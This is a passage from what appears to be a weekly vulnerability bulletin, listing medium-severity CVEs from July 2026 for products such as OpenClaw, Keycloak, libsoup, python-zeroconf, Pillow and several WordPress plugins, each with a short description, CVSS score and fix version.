| openclaw--msteams                  | OpenClaw versions before 2026.5.27 contain a token leakage vulnerability in MS Teams outbound requests that allows lower-trust callers to expose Bot Framework tokens. Attackers can access configured input paths to retrieve credentials that should remain within the trusted boundary.                                                                                                                                                                                                                                                                                                                             | 2026-07-17 | 6.5        | <a href="#">CVE-2026-62213</a> |
| openclaw--msteams                  | OpenClaw versions before 2026.5.28 Bot Framework contains an improper input validation vulnerability that allows lower-trust callers to expose bot tokens and credentials by failing to properly validate serviceUrl parameters. Attackers can supply malicious serviceUrl values through configured input paths to retrieve sensitive authentication data outside the trusted boundary.                                                                                                                                                                                                                               | 2026-07-17 | 6.5        | <a href="#">CVE-2026-62214</a> |
| openclaw--msteams                  | OpenClaw MS Teams before 2026.5.12 contain an authorization bypass vulnerability where the allowFrom feature binds to mutable display names. Attackers with lower-trust access can perform actions requiring stronger authorization by exploiting the mutable display name binding in the affected feature.                                                                                                                                                                                                                                                                                                            | 2026-07-17 | 5.4        | <a href="#">CVE-2026-62224</a> |
| OpenClaw--OpenClaw                 | OpenClaw before 2026.6.5 could forward Authorization headers during MCP SSE redirects. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could execute or persist actions beyond the caller's intended authorization. Impact depends on the operator's configuration and whether lower-trust input can reach the affected path.                                                                                                                                                                                                                                        | 2026-07-17 | 6.5        | <a href="#">CVE-2026-62208</a> |
| OpenClaw--OpenClaw                 | OpenClaw versions before 2026.6.1 contain a denial of service vulnerability where remote media URLs can trigger slow-read attacks that exhaust gateway worker                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-17 | 6.5        | <a href="#">CVE-2026-62210</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | resources. Attackers with access to configured input paths can supply remote media URLs that consume gateway resources and reduce availability.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |            |            |                                |
| OpenClaw--OpenClaw        | OpenClaw versions before 2026.6.1 contain a credential redaction bypass vulnerability in the trajectory export feature that allows lower-trust callers to access data that should remain within trusted boundaries. Attackers can exploit misconfigured input paths or feature accessibility to expose sensitive credentials and data through the export mechanism.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-17 | 5          | <a href="#">CVE-2026-62211</a> |
| OpenClaw--OpenClaw        | OpenClaw 2026.4.20 before 2026.5.28 contain a policy bypass in the QQBot media upload feature. A lower-trust caller or configured input path could cause the media upload to reach network destinations that should have been blocked by OpenClaw policy (server-side request forgery). The practical impact depends on the operator's configuration and whether lower-trust input can reach that path.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-17 | 5          | <a href="#">CVE-2026-62216</a> |
| OpenClaw--OpenClaw        | OpenClaw 2026.2.25 before 2026.5.26 allow a lower-trust caller or configured input path to bypass non-browser rate limits on WebSocket authentication attempts. When the affected feature is enabled and reachable by lower-trust input, this can consume gateway resources and reduce service availability.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-17 | 5.3        | <a href="#">CVE-2026-62220</a> |
| OpenClaw--OpenClaw        | OpenClaw 2026.5.12 before 2026.5.26 contain an incorrect authorization vulnerability in the ClickClack allowFrom feature. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could execute or persist actions beyond the caller's intended authorization, including running non-allowlisted commands.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-17 | 5.4        | <a href="#">CVE-2026-62221</a> |
| OpenClaw--OpenClaw        | OpenClaw versions before 2026.5.18 contain an authorization bypass vulnerability in skill command dispatch that allows lower-trust callers to execute or persist actions beyond their intended authorization. Attackers can bypass tool policy restrictions through configured input paths to perform unauthorized actions when the affected feature is enabled and reachable.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-17 | 5.4        | <a href="#">CVE-2026-62225</a> |
| OpenClaw--OpenClaw        | OpenClaw versions 2026.6.5 before 2026.6.9 contain a vulnerability in the plugin install wrappers that could skip the install policy (authorization) check. When the affected feature is enabled and reachable, a lower-trust caller or a configured input path could execute or persist actions beyond the caller's intended authorization. Impact depends on the operator's configuration and whether lower-trust input can reach the affected path. The issue is fixed in 2026.6.9.                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 4.9        | <a href="#">CVE-2026-62193</a> |
| OpenClaw--OpenClaw        | OpenClaw versions 2026.5.28 before 2026.6.6 contain an authorization bypass vulnerability in native web search that allows lower-trust callers to perform actions requiring stronger policy checks. Attackers can exploit misconfigured input paths to bypass intended authorization controls and execute restricted operations.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 4.3        | <a href="#">CVE-2026-62198</a> |
| openmcdf--openmcdf        | OpenMcdf is a fully .NET / C# library to manipulate Compound File Binary File Format files, also known as Structured Storage. In 3.1.3 and earlier, the BST name-lookup loop in DirectoryTree.TryGetDirectoryEntry (OpenMcdf/DirectoryTree.cs:35-46) walks directory entries by repeatedly calling directories.TryGetSibling(child, siblingType, validateColor). A crafted CFB file with cyclic Left/Right sibling links among directory entries, constructed so the per-step BST-order check in TryGetSibling (DirectoryEntries.cs:84-85) is satisfied at every step, drives this while (child is not null) loop forever. There is no cycle detection in TryGetDirectoryEntry, and the bug is reachable from RootStorage.OpenStorage(name), TryOpenStorage(name), OpenStream(name), and TryOpenStream(name), causing an unrecoverable denial of service. This issue is fixed in version 3.1.4. | 2026-07-17 | 6.2        | <a href="#">CVE-2026-45785</a> |
| openwrt--openwrt          | OpenWrt is a Linux operating system targeting embedded devices. Prior to 25.12.5, the cgi-download handler in cgi-io authorizes the requested path against the caller's ubus session file ACL before canonicalization, and rpcd session.c uses fnmatch() without FNM_PATHNAME, allowing traversal such as an allowed                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-15 | 4.9        | <a href="#">CVE-2026-62947</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                    | wildcard prefix followed by ../ to read root-readable files including /etc/shadow. This vulnerability is fixed in 25.12.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| OtterMind--Chat2DB                                                                 | Chat2DB before 5.3.0 contains an insecure direct object reference vulnerability in the GET /api/connection/datasource/{id} endpoint. The handler calls dataSourceService.queryExistent(id, ...) without an ownership check and returns the decrypted password field, allowing any authenticated non-admin user to enumerate datasource IDs and read the plaintext database credentials of datasources owned by other users.                                                                                                                                                                                                                                                                  | 2026-07-17 | 6.5        | <a href="#">CVE-2026-63307</a> |
| peachpayments--Peach Payments Gateway                                              | Missing Authorization vulnerability in peachpayments Peach Payments Gateway wc-peach-payments-gateway allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Peach Payments Gateway: from n/a through <= 4.0.2.                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57408</a> |
| phppoet--SysBasics Customize My Account for WooCommerce Live My Account Customizer | The SysBasics Customize My Account for WooCommerce - Live My Account Customizer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'row_type' parameter in all versions up to, and including, 4.4.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with shop manager-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                  | 2026-07-16 | 4.4        | <a href="#">CVE-2026-15324</a> |
| pimcore--pimcore                                                                   | Pimcore is an Open Source Data & Experience Management Platform. Prior to 11.5.17 (LTS) and 12.3.7, the WordExport export flow in bundles/WordExportBundle/src/Controller/TranslationController.php only checks the word_export feature permission and directly resolves attacker-controlled type/id input without enforcing view permission on page, snippet, email, or object elements, allowing a low-privileged backend user to export document content the user is not allowed to view. This issue is fixed in versions 11.5.17 (LTS) and 12.3.7.                                                                                                                                       | 2026-07-17 | 6.4        | <a href="#">CVE-2026-45703</a> |
| plank--laravel-mediable                                                            | Laravel-Mediable before 7.0.0 contains a stored cross-site scripting vulnerability that allows authenticated or anonymous users to execute arbitrary JavaScript by uploading unsanitized SVG files containing embedded scripts in onload event handlers, script tags, or foreignObject elements. Attackers can store persistent XSS payloads in uploaded SVG files that execute with full DOM access when victims open or preview the file, enabling session cookie theft, CSRF token capture, and account takeover.                                                                                                                                                                         | 2026-07-13 | 6.1        | <a href="#">CVE-2026-49971</a> |
| ploudapp--pCloud WP Backup                                                         | The pCloud WP Backup plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.0.3 via the wp2pcl_ajax_process_request_inner. This makes it possible for authenticated attackers, with subscriber-level access and above, to extract force generation of a full-site backup archive written to a publicly accessible directory, exposing wp-config.php database credentials, WordPress secret salts, and the complete PHP source tree. The resulting archive is deposited in the plugin's unprotected tmp/ directory at a predictable URL, making the extracted data accessible to unauthenticated visitors once the backup is triggered. | 2026-07-17 | 6.5        | <a href="#">CVE-2026-14503</a> |
| Plugin Envision--Envision Page Builder                                             | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Plugin Envision Envision Page Builder envision-page-builder allows DOM-Based XSS.This issue affects Envision Page Builder: from n/a through <= 0.22.                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57780</a> |
| poco-ai--poco-claw                                                                 | A vulnerability was determined in poco-ai poco-claw up to 0.5.4. This vulnerability affects the function create_task of the file executor_manager/app/api/v1/tasks.py of the component executor_manager API. Executing a manipulation can lead to missing authentication. The exploit has been publicly disclosed and may be utilized. Upgrading to version 0.5.7 is able to resolve this issue. This patch is called 67fcc88505c57f77d3fcf04eb5b89425b10cbf48. It is recommended to upgrade the affected component.                                                                                                                                                                         | 2026-07-17 | 6.3        | <a href="#">CVE-2026-16015</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| poco-ai--poco-claw               | A flaw has been found in poco-ai poco-claw up to 0.5.4. Affected is the function <code>get_workspace_file</code> of the file <code>executor_manager/app/api/v1/workspace.py</code> of the component Workspace API. Executing a manipulation of the argument <code>user_id</code> can lead to authorization bypass. The attack may be launched remotely. The exploit has been published and may be used. This patch is called 67fcc88505c57f77d3fcf04eb5b89425b10cbf48. Upgrading the affected component is recommended.                                                                                                                                                                                                                                                                | 2026-07-14 | 5.3        | <a href="#">CVE-2026-15622</a> |
| PressTigers--Universal Clocks    | Missing Authorization vulnerability in PressTigers Universal Clocks universal-clocks allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Universal Clocks: from n/a through <= 1.2.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 5.3        | <a href="#">CVE-2026-57782</a> |
| primefaces--primereact           | A weakness has been identified in primefaces primereact up to 10.9.8. This issue affects the function <code>ObjectUtils.mutateFieldData</code> of the component API. This manipulation of the argument <code>Field</code> causes improperly controlled modification of object prototype attributes. The attack is possible to be carried out remotely. The project was informed of the problem early through an issue report but has not responded yet. This vulnerability only affects products that are no longer supported by the maintainer.                                                                                                                                                                                                                                       | 2026-07-13 | 6.3        | <a href="#">CVE-2026-15538</a> |
| princezuda--SafestClaw           | A vulnerability has been found in princezuda SafestClaw up to 4.2.4. This vulnerability affects the function <code>ShellAction._validate_command</code> of the file <code>src/safestclaw/actions/shell.py</code> of the component Built-in Web Interface. Such manipulation leads to incomplete blacklist. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The presence of this vulnerability remains uncertain at this time. The project maintainer explains: "On paper you're correct, this is a vulnerability. In practice, nothing your AI generated shows how it makes users vulnerable. It's open source. Someone can mod the shell allow list or remove that system. Present an actual poc that shows a threat to users." | 2026-07-18 | 5.3        | <a href="#">CVE-2026-16129</a> |
| PSM Plugins--SupportCandy        | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PSM Plugins SupportCandy supportcandy allows Stored XSS.This issue affects SupportCandy: from n/a through <= 3.4.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57711</a> |
| python-pillow--Pillow            | Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-14 | 6.5        | <a href="#">CVE-2026-59198</a> |
| python-pillow--Pillow            | Pillow is a Python imaging library. From 12.0.0 through 12.2.0, Pillow's EPS parser in <code>PIL/EpsImagePlugin.py</code> accepts a negative byte count in the <code>%%BeginBinary</code> directive, allowing a crafted EPS file to cause <code>Image.open()</code> to seek backwards to the same directive and parse it repeatedly in an infinite loop. This issue is fixed in version 12.3.0.                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-14 | 5.3        | <a href="#">CVE-2026-59203</a> |
| python-zeroconf--python-zeroconf | Zeroconf is a pure Python implementation of multicast DNS service discovery. Prior to 0.149.5, <code>DNSIncoming._decode_labels_at_offset</code> recurses once per DNS-name compression pointer, and a single mDNS packet carrying chained pointers can trigger a <code>RecursionError</code> that escapes <code>DNSIncoming.__init__</code> , causing sustained CPU burn, log flooding, and degraded mDNS-dependent features for unauthenticated hosts on the local link over UDP/5353 (224.0.0.251 / ff02::fb). This issue is fixed in version 0.149.5.                                                                                                                                                                                                                              | 2026-07-17 | 6.5        | <a href="#">CVE-2026-47180</a> |
| python-zeroconf--python-zeroconf | Zeroconf is a pure Python implementation of multicast DNS service discovery. Prior to 0.149.6, <code>DNSIncoming._log_exception_debug</code> and the four <code>QuietLogger</code> exception-dedup methods stored an unbounded <code>_seen_logs</code> dictionary keyed by attacker-influenced <code>IncomingDecodeError</code> messages, retaining <code>sys.exc_info()</code> tracebacks whose frame locals kept raw packet self.data buffers and allowing unauthenticated hosts on the local link over UDP/5353 (224.0.0.251 / ff02::fb) to                                                                                                                                                                                                                                         | 2026-07-17 | 6.5        | <a href="#">CVE-2026-47183</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                               | drive memory growth until mDNS-dependent features degrade or the process is OOM-killed. This issue is fixed in version 0.149.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| python-zeroconf--python-zeroconf                                              | Zeroconf is a pure Python implementation of multicast DNS service discovery. Prior to 0.149.7, DNSCache._async_add inserted every response record into cache, _expirations, _expire_heap, and service_cache without a cap, allowing unauthenticated hosts on the local link over UDP/5353 (224.0.0.251 / ff02::fb) to multicast valid mDNS responses with unique names and cause memory exhaustion, slower cache lookups, slower async_expire passes, and broken discovery, registration, and ServiceBrowser callbacks. This issue is fixed in version 0.149.7.                                           | 2026-07-17 | 6.5        | <a href="#">CVE-2026-47184</a> |
| python-zeroconf--python-zeroconf                                              | Zeroconf is a pure Python implementation of multicast DNS service discovery. Prior to 0.149.12, AsyncListener.handle_query_or_defer retained every truncated TC-bit incoming query, each up to _MAX_MSG_ABSOLUTE = 8966 bytes, in self._deferred[addr] and armed a per-address timer in self._timers[addr] without capping the per-address list or distinct addr keys, allowing unauthenticated hosts on the local link over UDP/5353 (224.0.0.251 / ff02::fb) to spoof sources, grow _deferred and _timers, and cause memory exhaustion and quadratic CPU burn. This issue is fixed in version 0.149.12. | 2026-07-17 | 6.5        | <a href="#">CVE-2026-48045</a> |
| QuantumCloud--ChatBot for eCommerce - WoowBot                                 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QuantumCloud ChatBot for eCommerce &#8211; WoowBot woowbot-woocommerce-chatbot allows Stored XSS.This issue affects ChatBot for eCommerce &#8211; WoowBot: from n/a through <= 4.6.1.                                                                                                                                                                                                                                                                                                               | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57414</a> |
| quantumcloud--WPBot AI ChatBot for Live Support, Lead Generation, AI Services | The WPBot - AI ChatBot for Live Support, Lead Generation, AI Services plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 8.5.6. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to delete arbitrary chat session records from the wpbot_user and wpbot_conversation tables, including chat history and conversation logs, by supplying a crafted userid value.                                                                                        | 2026-07-16 | 5.3        | <a href="#">CVE-2026-15106</a> |
| quantumcloud--WPBot AI ChatBot for Live Support, Lead Generation, AI Services | The WPBot - AI ChatBot for Live Support, Lead Generation, AI Services plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 8.5.6. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to trigger arbitrary re-embedding of stored RAG documents, modifying the rag_documents table and consuming the site owner's paid third-party AI API credits (OpenAI, Gemini, OpenRouter, or xAI).                              | 2026-07-16 | 4.3        | <a href="#">CVE-2026-15610</a> |
| RafyMrX--TOKO-ONLINE-ROTI                                                     | A vulnerability has been found in RafyMrX TOKO-ONLINE-ROTI up to ddfe1cd587be0a0b5135d8b6e85cce2ec3aece99. Affected is an unknown function of the file proses/add.php. The manipulation of the argument kd_cs leads to authorization bypass. The attack is possible to be carried out remotely. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The vendor was contacted early about this disclosure but did not respond in any way.                                                     | 2026-07-16 | 6.3        | <a href="#">CVE-2026-15909</a> |
| Ragic--Enterprise Cloud Database                                              | Enterprise Cloud Database developed by Ragic has a Stored Cross-Site Scripting vulnerability, allowing unauthenticated remote attackers to inject persistent JavaScript code executed in users' browsers upon page load.                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-13 | 6.1        | <a href="#">CVE-2026-15552</a> |
| Ragic--Enterprise Cloud Database                                              | Enterprise Cloud Database developed by Ragic has a Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload malicious files and make them available for users to download.                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 5.3        | <a href="#">CVE-2026-15553</a> |
| rclone--rclone                                                                | Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.74.4, rclone archive extract can write extracted files outside the user-selected destination prefix when extracting a crafted archive containing parent path components such as ../, allowing creation or                                                                                                                                                                                                                                                                        | 2026-07-14 | 5          | <a href="#">CVE-2026-59732</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                    | overwrite of sibling objects in the same bucket or path scope. This issue is fixed in version 1.74.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |            |            |                                |
| Red Hat--Red Hat Build of Keycloak | A flaw was found in the Keycloak keycloak-services component, which handles the management of identity providers. The issue occurs when a delegated administrator updates an OIDC identity provider using a masked client secret sentinel value. Due to improper validation, Keycloak reuses the existing real secret even if security-sensitive fields like the token URL have been changed, allowing an attacker to redirect and capture the secret.                                                                                                                                                                    | 2026-07-17 | 5.5        | <a href="#">CVE-2026-15943</a> |
| Red Hat--Red Hat Build of Keycloak | A flaw was found in the keycloak-services component of Red Hat Build of Keycloak. The issue occurs because OAuth 2.0 authorization codes are not properly bound to the client that originally requested them. An attacker who can intercept an authorization code can modify it to be redeemed by their own client, potentially allowing them to obtain access tokens for a victim's identity.                                                                                                                                                                                                                            | 2026-07-17 | 5.4        | <a href="#">CVE-2026-16089</a> |
| Red Hat--Red Hat Build of Keycloak | Keycloak provides a mechanism called Client Policies to enforce security requirements on clients, such as requiring them to use signed JWTs for authentication. A flaw was discovered where this enforcement can be bypassed. An attacker with valid client credentials can provide a fake, unsigned assertion header that tricks the system into thinking the policy requirements have been met. This allows the attacker to authenticate using simpler methods like a client secret even when the administrator has mandated more secure, signed assertions.                                                            | 2026-07-17 | 5.4        | <a href="#">CVE-2026-16093</a> |
| Red Hat--Red Hat Build of Keycloak | A flaw was found in the group search functionality of the Keycloak server's administrative API. When Fine-Grained Admin Permissions (FGAP) v2 is enabled, a delegated administrator can bypass access restrictions to view parent groups they are not authorized to see. By searching for a child group they have permission to view, the system incorrectly returns the full details of the parent group in the response, leading to the disclosure of sensitive group attributes and configuration.                                                                                                                     | 2026-07-16 | 4.3        | <a href="#">CVE-2026-15945</a> |
| Red Hat--Red Hat Build of Keycloak | A flaw was found in the organization management component of Keycloak. A delegated administrator with permission to manage organizations can create an invitation for a non-existent email address and then retrieve the secret registration link directly through the application programming interface. By using this link, the administrator can create new user accounts and add them to the organization without having the required user management permissions or access to the invited email account. This allows an administrator to bypass security boundaries and add unauthorized members to an organization. | 2026-07-17 | 4.9        | <a href="#">CVE-2026-16072</a> |
| Red Hat--Red Hat Build of Keycloak | A flaw was found in the keycloak-services component of Keycloak. This issue is an incomplete fix for CVE-2026-9798, where brute-force protection checks were added to the Client-Initiated Backchannel Authentication (CIBA) initiation handler but were omitted from the token redemption handler. This allows an attacker with valid client credentials to obtain access and refresh tokens for a user account that has been locked due to brute-force protection, provided the authentication request was started before the lockout occurred and was approved by the user.                                            | 2026-07-17 | 4.3        | <a href="#">CVE-2026-16103</a> |
| Red Hat--Red Hat Build of Keycloak | A flaw was found in the authentication configuration endpoint of the keycloak-services component, which is the core engine for Red Hat Build of Keycloak identity and access management. The issue occurs because the system fails to mask sensitive configuration values, such as reCAPTCHA secret keys, when they are requested by administrators with view-only permissions. This can lead to the exposure of third-party service credentials to unauthorized personnel or through administrative logs.                                                                                                                | 2026-07-17 | 4.3        | <a href="#">CVE-2026-16104</a> |
| Red Hat--Red Hat Build of Keycloak | A flaw was found in the admin REST API of Keycloak, a solution for identity and access management. The issue occurs when a delegated administrator attempts to remove a child role from a composite role. Due to missing authorization checks, an attacker with limited administrative permissions can remove privileged roles they                                                                                                                                                                                                                                                                                       | 2026-07-17 | 4.9        | <a href="#">CVE-2026-16106</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                      | are not authorized to manage, leading to a loss of access for other users and administrators.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |            |            |                                |
| Red Hat--Red Hat Build of Keycloak   | A flaw was found in the default-groups REST endpoint and realm representation of Keycloak. This component is responsible for managing groups that are automatically assigned to new users within a realm. The issue allows a delegated administrator with realm-viewing permissions to see the names and identifiers of hidden default groups, even if they lack the specific permissions to view those groups. This can lead to the exposure of sensitive organizational structures or internal group names.                                                                                                                                                                                                                                       | 2026-07-17 | 4.3        | <a href="#">CVE-2026-16108</a> |
| Red Hat--Red Hat Enterprise Linux 10 | An out-of-bounds read vulnerability was found in libsoup's multipart processing subsystem. The flaw exists in the soup_multipart_input_stream_read_headers() function inside soup-multipart-input-stream.c, which does not adequately restrict or validate the size of incoming multipart boundary strings. When processing a crafted HTTP response containing a malformed or oversized boundary parameter, the internal stream reader reads past the allocated buffer bounds. A remote, unauthenticated attacker can exploit this behavior to cause a service denial (DoS) through application failure or potentially read fragments of unauthorized memory metadata.                                                                              | 2026-07-14 | 6.5        | <a href="#">CVE-2026-15714</a> |
| Red Hat--Red Hat Enterprise Linux 10 | A flaw was found in samba's pam_winbind. When mkhomedir is enabled, pam_winbind chowns the target account's home directory without validating the path is not a critical system directory such as /. On affected systems, accounts with / as their home directory (a common default for system accounts) can have this triggered not only by root, but by a non-root user holding a narrow sudo delegation to run commands as that account, causing ownership of / to change and resulting in severe denial of service (SSH, sudo, and package-manager failures). The change does not grant write access to / (which ships with restrictive 0555 permissions on RHEL), so the impact is availability loss rather than further privilege escalation. | 2026-07-15 | 6.1        | <a href="#">CVE-2026-15779</a> |
| Red Hat--Red Hat Enterprise Linux 10 | A heap buffer over-read vulnerability was discovered in libsoup's (versions: libsoup 3.0 to 3.7.0) HTTP/2 connection tracking framework. When the library processes an HTTP/2 GOAWAY frame, it improperly handles the "Additional Debug Data" payload by assuming the data stream is a safely NUL-terminated C-string. Because the parser lacks strict length-boundary verification before reading this data, a remote, unauthenticated attacker can intentionally send a malformed GOAWAY frame missing the appropriate null delimiter. This causes the library to read past the end of the allocated buffer, triggering an application crash that results in a denial of service (DoS), or potentially exposing fragments of memory contents.     | 2026-07-14 | 5.9        | <a href="#">CVE-2026-15712</a> |
| Red Hat--Red Hat Enterprise Linux 10 | A vulnerability was found in libsoup's HTTP/2 protocol implementation. The library fails to correctly release memory context blocks under specific stream termination conditions, such as when an HTTP/2 connection encounters window exhaustion or explicit stream resets. A remote, unauthenticated attacker acting as a malicious network peer can trick the connection engine into allocating stream states that are subsequently leaked during cleanup. Over a sustained period, this flaw allows the remote attacker to consume the system's heap allocations incrementally, triggering a denial of service (DoS) through an ultimate Out-of-Memory (OOM) application crash.                                                                  | 2026-07-14 | 5.9        | <a href="#">CVE-2026-15713</a> |
| Red Hat--Red Hat Enterprise Linux 10 | The fix for CVE-2026-0716 (commit 6ff7ef0, libsoup 3.6.6) placed the integer overflow guard inside the if (masked) block, leaving unmasked server-to-client frames unprotected. A malicious WebSocket server can send a crafted unmasked frame with a payload length near UINT64_MAX to trigger an OOB read in a libsoup-based client when max_incoming_payload_size is set to 0.                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-14 | 4.8        | <a href="#">CVE-2026-12478</a> |
| Red Hat--Red Hat OpenShift           | The Tempo Operator's gateway component failed to consistently apply namespace-scoped redaction on some query API response paths when query RBAC                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 6.5        | <a href="#">CVE-2026-62147</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| distributed tracing 3                                                           | was enabled, allowing an authenticated user to read span attributes belonging to other tenants' namespaces.                                                                                                                                                                                                                                                                                                                                                                              |            |            |                                |
| rejetto--hfs                                                                    | Rejetto HFS 3.0.0 through 3.2.0 renders log entries in the administration panel as HTML without sanitization. A remote unauthenticated attacker can submit a failed login with a crafted username that is written to the error log and executes JavaScript in an administrator's browser when the logs are viewed, allowing the attacker to create accounts or execute code on the server with the administrator's privileges.                                                           | 2026-07-13 | 6.1        | <a href="#">CVE-2026-61501</a> |
| rejetto--hfs                                                                    | Rejetto HFS 3.0.0 through 3.2.0 returns observably different responses from its login endpoint depending on whether the submitted username exists. A remote unauthenticated attacker can use this to confirm valid account names, including the default admin account, facilitating password-guessing and session-forgery attacks.                                                                                                                                                       | 2026-07-13 | 5.3        | <a href="#">CVE-2026-61503</a> |
| rejetto--hfs                                                                    | Rejetto HFS 3.0.0 through 3.2.0 does not escape file names in its fallback "basic" web listing, and this listing can be forced by any browser via the ?get=basic parameter. A user with upload permission - or an anonymous user on servers with an open upload folder - can store a file whose name contains script that executes in the browser of anyone viewing the listing.                                                                                                         | 2026-07-13 | 5.4        | <a href="#">CVE-2026-61504</a> |
| rejetto--hfs                                                                    | Rejetto HFS 3.0.0 through 3.2.0 allows path traversal through the lang query parameter, permitting a remote unauthenticated attacker to read certain JSON files outside the shared folders. Exploitation is constrained to files matching a narrow naming and format pattern, limiting practical impact.                                                                                                                                                                                 | 2026-07-13 | 5.3        | <a href="#">CVE-2026-61505</a> |
